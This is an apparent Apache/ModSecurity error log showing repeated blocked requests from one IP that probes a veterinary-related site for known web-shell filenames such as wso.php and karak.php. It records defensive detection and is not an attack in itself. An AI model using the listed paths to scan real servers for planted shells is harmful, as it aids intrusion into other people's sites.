[Mon Dec 08 06:00:35.616001 2025] [:error] [pid 18635:tid 18665] [client 4.189.128.201:26005] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aTX5A24kCC_HamQRuE103AAAAEA"]
[Mon Dec 08 06:00:35.865948 2025] [:error] [pid 18635:tid 18688] [client 4.189.128.201:48818] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aTX5A24kCC_HamQRuE103wAAAFc"]
[Mon Dec 08 06:00:36.112431 2025] [:error] [pid 54704:tid 54718] [client 4.189.128.201:59611] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aTX5BHL1WYsMMmlqjh4VMQAAAUs"]
[Mon Dec 08 06:00:36.414524 2025] [:error] [pid 54671:tid 54687] [client 4.189.128.201:62644] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aTX5BFqOuiNLLCfVy7-M-wAAAQ0"]
[Mon Dec 08 06:00:36.647045 2025] [:error] [pid 18634:tid 18652] [client 4.189.128.201:35176] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aTX5BJ-H1wCBKPf4vhN-PQAAAA4"]
[Mon Dec 08 06:00:36.895650 2025] [:error] [pid 18635:tid 18685] [client 4.189.128.201:9691] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aTX5BG4kCC_HamQRuE108AAAAFQ"]
[Mon Dec 08 06:00:37.125057 2025] [:error] [pid 54671:tid 54692] [client 4.189.128.201:62643] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aTX5BVqOuiNLLCfVy7-M_AAAARI"]
[Mon Dec 08 06:00:37.373721 2025] [:error] [pid 18635:tid 18666] [client 4.189.128.201:26027] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aTX5BW4kCC_HamQRuE10-AAAAEE"]
[Mon Dec 08 06:00:37.627964 2025] [:error] [pid 54704:tid 54725] [client 4.189.128.201:35161] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aTX5BXL1WYsMMmlqjh4VMwAAAVI"]
[Mon Dec 08 06:00:37.912208 2025] [:error] [pid 18726:tid 18728] [client 4.189.128.201:48808] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aTX5BVwVbxmJGL5LHAc6VQAAAMA"]
[Mon Dec 08 06:00:38.141031 2025] [:error] [pid 54704:tid 54729] [client 4.189.128.201:23754] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aTX5BnL1WYsMMmlqjh4VNgAAAVY"]
[Mon Dec 08 06:00:38.379431 2025] [:error] [pid 18726:tid 18739] [client 4.189.128.201:43142] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aTX5BlwVbxmJGL5LHAc6VgAAAMs"]
[Mon Dec 08 06:00:38.620816 2025] [:error] [pid 18636:tid 18696] [client 4.189.128.201:62652] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aTX5BugdXnohVr6jm71IVAAAAIQ"]
[Mon Dec 08 06:00:38.857008 2025] [:error] [pid 54705:tid 54757] [client 4.189.128.201:23766] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aTX5BqdUeDkxwo12SG8nuAAAAZc"]
[Mon Dec 08 06:00:39.091186 2025] [:error] [pid 54704:tid 54711] [client 4.189.128.201:43143] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aTX5B3L1WYsMMmlqjh4VNwAAAUQ"]
[Mon Dec 08 06:00:39.323806 2025] [:error] [pid 54704:tid 54730] [client 4.189.128.201:35165] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aTX5B3L1WYsMMmlqjh4VOAAAAVc"]
[Mon Dec 08 06:00:39.563117 2025] [:error] [pid 18636:tid 18716] [client 4.189.128.201:35195] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aTX5B-gdXnohVr6jm71IVgAAAJg"]
[Mon Dec 08 06:00:39.794241 2025] [:error] [pid 54671:tid 54683] [client 4.189.128.201:26009] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aTX5B1qOuiNLLCfVy7-NBAAAAQk"]
[Mon Dec 08 06:00:40.036155 2025] [:error] [pid 54704:tid 54716] [client 4.189.128.201:62597] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aTX5CHL1WYsMMmlqjh4VOQAAAUk"]
[Mon Dec 08 06:00:40.267093 2025] [:error] [pid 54671:tid 54695] [client 4.189.128.201:59584] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aTX5CFqOuiNLLCfVy7-NBgAAARU"]
[Mon Dec 08 06:00:40.496962 2025] [:error] [pid 18636:tid 18706] [client 4.189.128.201:48785] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aTX5COgdXnohVr6jm71IWgAAAI4"]
[Mon Dec 08 06:00:40.723678 2025] [:error] [pid 54704:tid 54707] [client 4.189.128.201:26003] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aTX5CHL1WYsMMmlqjh4VOwAAAUA"]
[Mon Dec 08 06:00:40.950563 2025] [:error] [pid 18634:tid 18654] [client 4.189.128.201:9698] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aTX5CJ-H1wCBKPf4vhN-TAAAABA"]
[Mon Dec 08 06:00:41.181085 2025] [:error] [pid 18726:tid 18736] [client 4.189.128.201:43163] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aTX5CVwVbxmJGL5LHAc6WQAAAMg"]
[Mon Dec 08 06:00:41.413047 2025] [:error] [pid 18726:tid 18746] [client 4.189.128.201:26020] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aTX5CVwVbxmJGL5LHAc6WgAAANI"]
[Mon Dec 08 06:00:41.642800 2025] [:error] [pid 18726:tid 18735] [client 4.189.128.201:23761] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aTX5CVwVbxmJGL5LHAc6WwAAAMc"]
[Mon Dec 08 06:00:41.874644 2025] [:error] [pid 18726:tid 18752] [client 4.189.128.201:28036] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aTX5CVwVbxmJGL5LHAc6XAAAANg"]
[Mon Dec 08 06:00:42.102138 2025] [:error] [pid 18634:tid 18657] [client 4.189.128.201:48821] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aTX5Cp-H1wCBKPf4vhN-TQAAABM"]
[Mon Dec 08 06:00:42.335913 2025] [:error] [pid 18635:tid 18670] [client 4.189.128.201:23779] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aTX5Cm4kCC_HamQRuE11HwAAAEU"]
[Mon Dec 08 06:00:42.567006 2025] [:error] [pid 54705:tid 54739] [client 4.189.128.201:26011] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aTX5CqdUeDkxwo12SG8nvwAAAYU"]
[Mon Dec 08 06:00:42.795141 2025] [:error] [pid 18635:tid 18678] [client 4.189.128.201:33546] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aTX5Cm4kCC_HamQRuE11IAAAAE0"]
[Mon Dec 08 06:00:43.026194 2025] [:error] [pid 54671:tid 54691] [client 4.189.128.201:9457] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aTX5C1qOuiNLLCfVy7-NCgAAARE"]
[Mon Dec 08 06:00:43.308225 2025] [:error] [pid 18635:tid 18679] [client 4.189.128.201:28083] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aTX5C24kCC_HamQRuE11IgAAAE4"]
[Mon Dec 08 06:00:43.537905 2025] [:error] [pid 18636:tid 18705] [client 4.189.128.201:23745] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aTX5C-gdXnohVr6jm71IXwAAAI0"]
[Mon Dec 08 06:00:43.766373 2025] [:error] [pid 18726:tid 18740] [client 4.189.128.201:53193] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aTX5C1wVbxmJGL5LHAc6XwAAAMw"]
[Mon Dec 08 06:00:44.000590 2025] [:error] [pid 54705:tid 54744] [client 4.189.128.201:35198] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aTX5C6dUeDkxwo12SG8nwwAAAYo"]
[Mon Dec 08 06:00:44.238623 2025] [:error] [pid 18636:tid 18692] [client 4.189.128.201:23765] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aTX5DOgdXnohVr6jm71IYAAAAIA"]
[Mon Dec 08 06:00:44.483168 2025] [:error] [pid 18726:tid 18734] [client 4.189.128.201:59596] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aTX5DFwVbxmJGL5LHAc6YQAAAMY"]
[Mon Dec 08 06:00:44.720724 2025] [:error] [pid 54704:tid 54709] [client 4.189.128.201:35182] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aTX5DHL1WYsMMmlqjh4VQgAAAUI"]
[Mon Dec 08 06:00:44.948950 2025] [:error] [pid 18636:tid 18701] [client 4.189.128.201:35694] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aTX5DOgdXnohVr6jm71IYQAAAIk"]
[Mon Dec 08 06:00:45.176337 2025] [:error] [pid 54705:tid 54743] [client 4.189.128.201:43176] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aTX5DadUeDkxwo12SG8nxwAAAYk"]
[Mon Dec 08 06:00:45.408910 2025] [:error] [pid 54705:tid 54734] [client 4.189.128.201:9675] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aTX5DadUeDkxwo12SG8nyQAAAYA"]
[Mon Dec 08 06:00:45.639480 2025] [:error] [pid 18634:tid 18654] [client 4.189.128.201:48806] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aTX5DZ-H1wCBKPf4vhN-VQAAABA"]
[Mon Dec 08 06:00:45.867135 2025] [:error] [pid 18634:tid 18651] [client 4.189.128.201:9695] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aTX5DZ-H1wCBKPf4vhN-VwAAAA0"]
[Mon Dec 08 06:00:46.097875 2025] [:error] [pid 18634:tid 18657] [client 4.189.128.201:43141] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aTX5Dp-H1wCBKPf4vhN-WQAAABM"]
[Mon Dec 08 06:00:46.327086 2025] [:error] [pid 54704:tid 54731] [client 4.189.128.201:23744] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aTX5DnL1WYsMMmlqjh4VRgAAAVg"]
[Mon Dec 08 06:00:46.555257 2025] [:error] [pid 54705:tid 54738] [client 4.189.128.201:9676] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aTX5DqdUeDkxwo12SG8nywAAAYQ"]
[Mon Dec 08 06:00:46.784399 2025] [:error] [pid 18634:tid 18653] [client 4.189.128.201:26038] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aTX5Dp-H1wCBKPf4vhN-XQAAAA8"]
[Mon Dec 08 06:00:47.027893 2025] [:error] [pid 18726:tid 18739] [client 4.189.128.201:26010] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aTX5D1wVbxmJGL5LHAc6ZwAAAMs"]
[Mon Dec 08 06:00:47.256369 2025] [:error] [pid 54671:tid 54696] [client 4.189.128.201:48768] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aTX5D1qOuiNLLCfVy7-NDgAAARY"]
[Mon Dec 08 06:00:47.485521 2025] [:error] [pid 18636:tid 18696] [client 4.189.128.201:26046] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aTX5D-gdXnohVr6jm71IYwAAAIQ"]
[Mon Dec 08 06:00:47.713342 2025] [:error] [pid 54704:tid 54716] [client 4.189.128.201:62592] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aTX5D3L1WYsMMmlqjh4VRwAAAUk"]
[Mon Dec 08 06:00:47.944309 2025] [:error] [pid 18634:tid 18652] [client 4.189.128.201:62655] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aTX5D5-H1wCBKPf4vhN-ZAAAAA4"]
[Mon Dec 08 06:00:48.171330 2025] [:error] [pid 54704:tid 54722] [client 4.189.128.201:35655] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aTX5EHL1WYsMMmlqjh4VSQAAAU8"]
[Mon Dec 08 06:00:48.400607 2025] [:error] [pid 54705:tid 54741] [client 4.189.128.201:35151] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aTX5EKdUeDkxwo12SG8n0AAAAYc"]
[Mon Dec 08 06:00:48.631088 2025] [:error] [pid 18726:tid 18732] [client 4.189.128.201:28044] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aTX5EFwVbxmJGL5LHAc6bAAAAMQ"]
